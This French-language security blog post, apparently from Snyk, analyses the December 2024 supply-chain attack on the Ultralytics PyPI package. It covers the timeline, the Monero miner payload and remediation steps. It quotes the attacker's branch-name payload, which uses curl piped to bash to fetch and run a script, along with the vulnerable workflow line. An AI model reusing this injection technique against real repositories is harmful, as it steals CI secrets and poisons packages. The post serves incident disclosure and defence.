Skip to main content

Attaque de la chaîne d’approvisionnement d’Ultralytics AI via Pwn Request

Écrit par
feature insights context

11 décembre 2024

0 minutes de lecture

L’attaque de la chaîne d’approvisionnement de ultralytics s’est déroulée en deux phases distinctes, du 4 au 7 décembre 2024. Lors de la première phase, deux versions malveillantes ont été publiées sur PyPI : la version 8.3.41, publiée le 4 décembre à 20:51 UTC, est restée disponible pendant environ 12 heures, jusqu’à son retrait le 5 décembre à 09:15 UTC. La version 8.3.42 a été publiée peu après, le 5 décembre à 12:47 UTC, et est restée disponible environ une heure, avant son retrait à 13:47 UTC.

La deuxième phase a eu lieu le 7 décembre, lorsque l’attaquant a publié directement deux autres versions malveillantes sur PyPI, en contournant entièrement GitHub Actions. La version 8.3.45 a été publiée à 01:41 UTC et est restée disponible environ 8 heures, jusqu’à 10:08 UTC. La version 8.3.46 a été publiée à 02:27 UTC et est restée disponible environ 7,5 heures, jusqu’à son retrait à 10:09 UTC.

L’attaque a d’abord été détectée par plusieurs moyens, notamment par le système automatisé de détection des abus de Google Colab, qui a commencé à signaler une activité suspecte quelques heures après la première publication malveillante. Des utilisateurs de divers projets ont signalé une utilisation inhabituelle du processeur, et des responsables de packages ont relevé des divergences entre le dépôt GitHub et les versions sur PyPI.

Chronologie de l’exploitation

2024-06-04       Premier commit du scanner GitHub Actions de Snyk

Lien : https://github.com/snyk-labs/github-actions-scanner

2024-08-14       Adnan Khan signale GHSA-7x29-qqmq-v6qc aux responsables d’Ultralytics : vulnérabilité d’injection de modèle

                  Lien : https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6q

2024-08-14       Publication de ultralytics/actions v0.0.3, avec un correctif pour GHSA-7x29-qqmq-v6qc

                  Lien : https://github.com/ultralytics/actions/security/advisories/GHSA-7x29-qqmq-v6qc

2024-08-24       ultralytics/actions v0.0.24 réintroduit la vulnérabilité dans le commit c1365ce

2024-12-03 22:28:49  @jiwuwgknvm commence à préparer une attaque malveillante

2024-12-03 22:33:47  @jiwuwgknvm soumet la PR #17984 (supprimée depuis), qui contient un voleur de jetons run.sh

2024-12-04 19:33:00  @openimbot soumet la PR #18018 avec une injection de modèle

                  Lien : https://github.com/ultralytics/ultralytics/pull/18018

2024-12-04 19:57:00  @openimbot soumet la PR #18020 avec une autre injection de modèle

                  Lien : https://github.com/ultralytics/ultralytics/pull/18020

2024-12-04 20:50:00  Publication de v8.3.41 déclenchée par @UltralyticsAssistant

2024-12-04 20:51:12  Publication de v8.3.41 sur PyPI

                  Lien : https://files.pythonhosted.org/packages/d0/99/13d92174aa6a470d348a95e31164769f2cdf77838ea3c3e3fd476285777d/ultralytics-8.3.41-py3-none-any.whl

2024-12-04 23:46:00  Signalement du problème #4979 de Google Colab : compte bloqué à cause du cryptominage

                  Lien : https://github.com/googlecolab/colabtools/issues/4979

2024-12-05 05:34:00  Ouverture du problème #18027 : signalement d’une divergence sur PyPI

                  Lien : https://github.com/ultralytics/ultralytics/issues/18027

2024-12-05 05:35:00  Ouverture du problème #843 de ComfyUI : signalement de cryptominage

                  Lien : https://github.com/ltdrdata/ComfyUI-Impact-Pack/issues/843

2024-12-05 07:50:00  Ouverture du problème #18030 : utilisation du processeur à 100 %

                  Lien : https://github.com/ultralytics/ultralytics/issues/18030

2024-12-05 09:15:06  Retrait de v8.3.41 de PyPI (après environ 12 heures)

2024-12-05 09:39:00  Ouverture du problème #184 de Comic-translate : signalement de minage

                  Lien : https://github.com/ogkalu2/comic-translate/issues/184

2024-12-05 12:46:00  Publication de v8.3.42 déclenchée par @glenn-jocher

2024-12-05 12:47:29  Publication de v8.3.42 sur PyPI

2024-12-05 13:47:30  Retrait de v8.3.42 de PyPI (après environ 1 heure)

2024-12-05 15:17:00  @glenn-jocher annonce l’exclusion de @openimbot d’Ultralytics

2024-12-06 19:51:00  Ouverture du problème #19 d’AdvancedLivePortrait-WebUI : alerte de sécurité

                  Lien : https://github.com/jhj0517/AdvancedLivePortrait-WebUI/issues/19

2024-12-07 01:41:45  Publication directe de v8.3.45 sur PyPI (sans CI/CD)

2024-12-07 02:27:14  Publication directe de v8.3.46 sur PyPI (sans CI/CD)

2024-12-07 04:00:00  Adnan Khan annonce que v8.3.45 et v8.3.46 sont malveillantes

2024-12-07 10:08:32  Retrait de v8.3.45 de PyPI (après environ 8 heures)

2024-12-07 10:09:08  Retrait de v8.3.46 de PyPI (après environ 7,5 heures)

Une attaque au cryptominage de Monero

Les versions malveillantes de ultralytics contenaient une charge utile de cryptominage conçue pour fonctionner discrètement en arrière-plan tout en consommant d’importantes ressources système. Le mineur était une implémentation de XMRig, configurée spécifiquement pour miner la cryptomonnaie Monero. Le malware était suffisamment sophistiqué pour déclencher les systèmes automatisés de détection des abus de Google Colab. Certains utilisateurs ont ainsi vu leur compte suspendu temporairement en raison de la forte utilisation du processeur caractéristique du minage.

Le mineur a été injecté dans le package en modifiant deux fonctions clés : safe_download et safe_run. La première étape consistait à intégrer un téléchargeur côté client dans la fonction safe_download, afin de récupérer la charge utile de minage. La fonction safe_run a été modifiée pour exécuter le mineur en arrière-plan et tenter de dissimuler sa consommation de ressources. Toutefois, la forte utilisation du processeur nécessaire au minage de cryptomonnaies a rendu la présence du malware évidente pour de nombreux utilisateurs.

Comment préparer la remédiation d’Ultralytics

Évaluez votre exposition à cette dépendance Python

Plages temporelles des versions concernées :

v8.3.41 : du 2024-12-04 20:51 UTC au 2024-12-05 09:15 UTC (environ 12 heures)

v8.3.42 : du 2024-12-05 12:47 UTC au 2024-12-05 13:47 UTC (environ 1 heure)

v8.3.45 : du 2024-12-07 01:41 UTC au 2024-12-07 10:08 UTC (environ 8 heures)

v8.3.46 : du 2024-12-07 02:27 UTC au 2024-12-07 10:09 UTC (environ 7,5 heures)

Pour vérifier si vous êtes concerné :

  1. Examinez les journaux de pip install pour ces périodes

  2. Vérifiez votre version actuelle : pip show ultralytics

  3. Examinez les journaux système pour repérer toute activité inhabituelle du processeur pendant ces périodes

  4. Vérifiez si des compilations automatisées ou des exécutions CI/CD ont eu lieu pendant ces périodes

Projets connus pour dépendre d’Ultralytics

Ultralytics est une bibliothèque d’IA très utilisée dans l’écosystème Python de l’IA et du machine learning, notamment pour les tâches de vision par ordinateur. Parmi les projets notables :

  • ComfyUI : utilise YOLOv8 pour la détection d’objets dans de nombreux nœuds personnalisés populaires. L’équipe a publié une déclaration sur la situation ici. 

  • Comic-Translate : utilise les modèles YOLO pour la détection de texte

  • Roboflow : intégration de YOLOv8 pour la détection d’objets

  • De nombreux autres outils Stable Diffusion et interfaces Web

Explication de l’attaque de la chaîne d’approvisionnement ultralytics/actions

L’attaque a exploité une chaîne sophistiquée de vulnérabilités dans GitHub Actions. Elle visait directement le système d’automatisation des workflows à l’aide d’une technique appelée injection de modèle via le nom d’une branche. Voici le détail de l’attaque :

La compromission initiale a eu lieu par le biais de deux pull requests (PR #18018 et #18020) malveillantes soumises depuis le compte @openimbot. Ces PR ont exploité une vulnérabilité dans le workflow format.yml, qui utilisait un déclencheur pull_request_target dangereux associé à des expressions de modèle non échappées.

L’attaque s’est déroulée en plusieurs étapes :

L’attaquant a créé une branche dont le nom soigneusement conçu contenait des commandes shell :

$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/d8daa0b26ae0c221aa4a8c20834c4dbfef2a9a14/file.sh}${IFS}|${IFS}bash)

Lorsque le workflow a traité ce nom de branche, l’expression de modèle a été développée directement dans le contexte du shell à cause de cette ligne vulnérable :

git pull origin ${{ github.head_ref || github.ref }}

La commande développée a téléchargé et exécuté un script shell malveillant qui :

  • a exfiltré des jetons et des secrets GitHub

  • a contaminé le cache pip utilisé par setup-python

  • a modifié les distributions publiées pour y inclure le mineur de cryptomonnaie

  • a potentiellement dérobé des identifiants d’API PyPI

Cette vulnérabilité était particulièrement efficace, car elle exploitait une action personnalisée dans ultralytics/actions qui avait réintroduit un problème de sécurité déjà corrigé.

Analyse avec Snyk Open Source

La base de données de vulnérabilités et les outils CLI de Snyk peuvent vous aider à déterminer si vous utilisez une version compromise du package Ultralytics. Vous pouvez également les utiliser pour analyser des projets open source de manière plus générale. Pour analyser votre projet :

1. Installez la CLI Snyk :

npm install -g snyk

2. Authentifiez-vous auprès de Snyk :

snyk auth

3. Analysez votre projet Python :

snyk test

Vous saurez ainsi si vous utilisez l’une des versions malveillantes connues (8.3.41, 8.3.42, 8.3.45 ou 8.3.46) du package Ultralytics. L’analyse recherchera également d’autres vulnérabilités potentielles dans vos dépendances.

Intégrez Snyk GitHub Actions Scanner à votre boîte à outils DevSecOps

Snyk GitHub Actions Scanner est un outil open source qui peut vous aider à détecter les configurations GitHub Actions vulnérables, comme celles exploitées lors de cet incident. Il ne s’agit pas d’un produit officiel de Snyk, mais c’est un outil précieux pour votre boîte à outils DevSecOps.

Pour utiliser le scanner :

1. Clonez le dépôt et installez les dépendances :

git clone https://github.com/snyk-labs/github-actions-scanner
cd github-actions-scanner
npm install

2. Configurez votre jeton GitHub :

echo "GITHUB_TOKEN=your-token-here" > .env

3. Analysez un dépôt :

npm start scan-repo -- -u https://github.com/your/repo

Le scanner recherche plusieurs problèmes critiques, notamment :

  • PWN_REQUEST : détecte les workflows qui utilisent pull_request_target et extraient également les branches des pull requests — exactement la vulnérabilité exploitée lors de cet incident. Cette pratique est dangereuse, car pull_request_target s’exécute avec les secrets du dépôt, tout en pouvant être déclenché par des contributeurs externes non fiables.

  • CMD_EXEC : détecte les expressions de modèle non échappées comme ${{ }} dans les directives run, susceptibles de provoquer une injection de commandes.

Pour une analyse plus approfondie qui vérifie les actions référencées :

npm start scan-repo -- -u https://github.com/your/repo -r -m 5

Cette vérification analyse les actions référencées jusqu’à 5 niveaux de profondeur et peut ainsi détecter des vulnérabilités dans l’ensemble de votre chaîne d’actions.

Risques liés à la sécurité de l’IA et sécurité de la chaîne d’approvisionnement

L’incident ultralytics s’ajoute à la longue liste des attaques visant la sécurité de la chaîne d’approvisionnement open source. Les registres npm et PyPI sont tous deux la cible d’attaques par malware axées sur les cryptomonnaies, qui mettent souvent en lumière des pratiques de sécurité insuffisantes de la part des responsables de packages et une configuration non sécurisée des projets. Cette attaque contre GitHub Actions montre combien il est crucial de respecter rigoureusement les bonnes pratiques de sécurité.

Les risques liés à la sécurité de l’IA ne se limitent pas aux incidents touchant la chaîne d’approvisionnement open source : ils s’étendent également au machine learning et aux registres d’échange de modèles. Des attaques imminentes, comme l’exécution de code à distance, peuvent toucher les développeurs en exploitant des vulnérabilités dans les formats de fichiers de deep learning et du code non sécurisé généré par l’IA, que les développeurs utilisent couramment via les LLM.

Découvrez comment utiliser Snyk pour sécuriser le code généré par l’IA.

Anticipez l’avenir des assistants de programmation avec Snyk

Découvrez les assistants de programmation et comment intégrer ces outils aux workflows de développement.